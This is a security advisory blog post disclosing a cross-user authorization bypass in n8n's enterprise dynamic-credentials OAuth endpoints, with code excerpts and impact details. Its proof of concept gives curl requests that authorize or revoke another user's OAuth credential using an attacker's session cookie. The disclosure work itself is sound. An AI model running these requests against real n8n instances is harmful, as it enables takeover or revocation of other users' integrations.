Skip to content
n8n Cross-user Authorization Bypass in Dynamic Credential OAuth Endpoints

n8n Cross-user Authorization Bypass in Dynamic Credential OAuth Endpoints

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO3 min read

Key takeaways

  • The enterprise dynamic-credentials OAuth endpoints allow any authenticated n8n user to operate on another user’s OAuth credential by supplying its ID.
  • The vulnerability spans the dynamic-credentials controller, its middleware, and the OAuth callback handler.
  • Use an enterprise instance with dynamic credentials enabled.
  • This is a cross-user authorization bypass in an enterprise credential-management feature.

Advisory#

Description#

The enterprise dynamic-credentials OAuth endpoints allow any authenticated n8n user to operate on another user’s OAuth credential by supplying its ID. The controller loads credentials through an unscoped lookup and never verifies that the caller has permission on the target credential.

This affects the authorize and revoke endpoints used by the dynamic-credentials feature. A low-privilege authenticated user can initiate or revoke OAuth binding flows for credentials they do not own, enabling unauthorized OAuth rebinding, token revocation, and persistent takeover of shared integrations.

This issue affects enterprise instances with the dynamic credentials feature enabled.

Source - Sink Analysis#

The vulnerability spans the dynamic-credentials controller, its middleware, and the OAuth callback handler.

1. Entry Point - dynamic-credentials.controller.ts: The findCredentialToUse() helper resolves the credential solely by attacker-controlled credentialId with no ownership check:

<code class="hljs language-typescript"><span class="hljs-keyword">private</span> <span class="hljs-keyword">async</span> <span class="hljs-title function_">findCredentialToUse</span>(<span class="hljs-attr">credentialId</span>: <span class="hljs-built_in">string</span>): <span class="hljs-title class_">Promise</span><<span class="hljs-title class_">CredentialsEntity</span>> {
	<span class="hljs-keyword">const</span> credential = <span class="hljs-keyword">await</span> <span class="hljs-variable language_">this</span>.<span class="hljs-property">enterpriseCredentialsService</span>.<span class="hljs-title function_">getOne</span>(credentialId);
	...
	<span class="hljs-keyword">return</span> credential;
}
</code>

2. Middleware Bypass - dynamic-credential.service.ts: The authentication middleware explicitly short-circuits the static-token gate for any request that already has req.user, meaning any authenticated session passes through without credential-level authorization:

<code class="hljs language-typescript"><span class="hljs-keyword">if</span> (req.<span class="hljs-property">user</span>) {
	<span class="hljs-keyword">return</span> <span class="hljs-title function_">next</span>();
}
</code>

3. Unscoped Lookup - credentials.service.ee.ts: EnterpriseCredentialsService.getOne() performs a raw ID lookup without user-aware access checks:

<code class="hljs language-typescript"><span class="hljs-keyword">async</span> <span class="hljs-title function_">getOne</span>(<span class="hljs-params"><span class="hljs-attr">credentialId</span>: <span class="hljs-built_in">string</span></span>) {
	<span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> <span class="hljs-variable language_">this</span>.<span class="hljs-property">credentialsRepository</span>.<span class="hljs-title function_">findOneByOrFail</span>({ <span class="hljs-attr">id</span>: credentialId });
}
</code>

This bypasses the normal user-scoped credential access checks used elsewhere in n8n.

4. Callback Trust Break - oauth.service.ts: The OAuth callback handler skips user validation entirely for dynamic-credential flows:

<code class="hljs language-typescript"><span class="hljs-keyword">if</span> (decryptedState.<span class="hljs-property">origin</span> === <span class="hljs-string">'dynamic-credential'</span>) {
	<span class="hljs-keyword">return</span> {
		...decoded,
		...decryptedState,
	};
}
</code>

resolveCredential() subsequently loads the credential through getCredentialWithoutUser(state.cid), preserving the authorization gap through the full OAuth lifecycle.

Proof of Concept#

  1. Use an enterprise instance with dynamic credentials enabled.
  2. Create two users:
    • owner, who owns an OAuth credential (e.g. Google Sheets OAuth2)
    • attacker, a low-privilege authenticated user
  3. Create a valid credential resolver.
  4. As attacker, call the dynamic authorize endpoint against the owner’s credential ID:
<code class="hljs language-bash">curl -i -X POST \
  <span class="hljs-string">'https://<tenant>.app.n8n.cloud/rest/credentials/<owner-credential-id>/authorize?resolverId=<resolver-id>&authSource=cookie'</span> \
  -H <span class="hljs-string">'Cookie: n8n-auth=<attacker-session-cookie>'</span>
</code>
  1. Observe the result:
    • Expected secure behavior: 403 Forbidden or 404 Not Found
    • Actual vulnerable behavior: Returns an OAuth authorization URL for the foreign credential
  2. Similarly, revoke another user’s credential:
<code class="hljs language-bash">curl -i -X POST \
  <span class="hljs-string">'https://<tenant>.app.n8n.cloud/rest/credentials/<owner-credential-id>/revoke?resolverId=<resolver-id>&authSource=cookie'</span> \
  -H <span class="hljs-string">'Cookie: n8n-auth=<attacker-session-cookie>'</span>
</code>

The attacker can complete the OAuth flow to rebind the credential to their own external account, or revoke it to disrupt workflows depending on it.

Impact#

This is a cross-user authorization bypass in an enterprise credential-management feature. Any authenticated user who can reach the dynamic-credentials endpoints can operate on OAuth credentials they do not own if they know the credential ID and a valid resolver ID.

Depending on the credential type and resolver flow, exploitation enables:

  • Unauthorized OAuth rebinding: replacing a victim’s OAuth token with one bound to the attacker’s external account
  • Token revocation: disrupting workflows by revoking OAuth tokens for credentials the attacker doesn’t own
  • Persistent integration takeover: workflows relying on the affected credential execute under the attacker’s OAuth identity, enabling data exfiltration to attacker-controlled services
  • Lateral movement: compromising integrations connected to sensitive external services (Google Workspace, Slack, GitHub, etc.)

Exploitability conditions:

  • Enterprise/team deployment with dynamic credentials enabled
  • Attacker knows a target credential ID and valid resolver ID
  • Attacker has any authenticated session on the instance

n8n (verified in: 2.14.0) CWE-639: Authorization Bypass Through User-Controlled Key CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.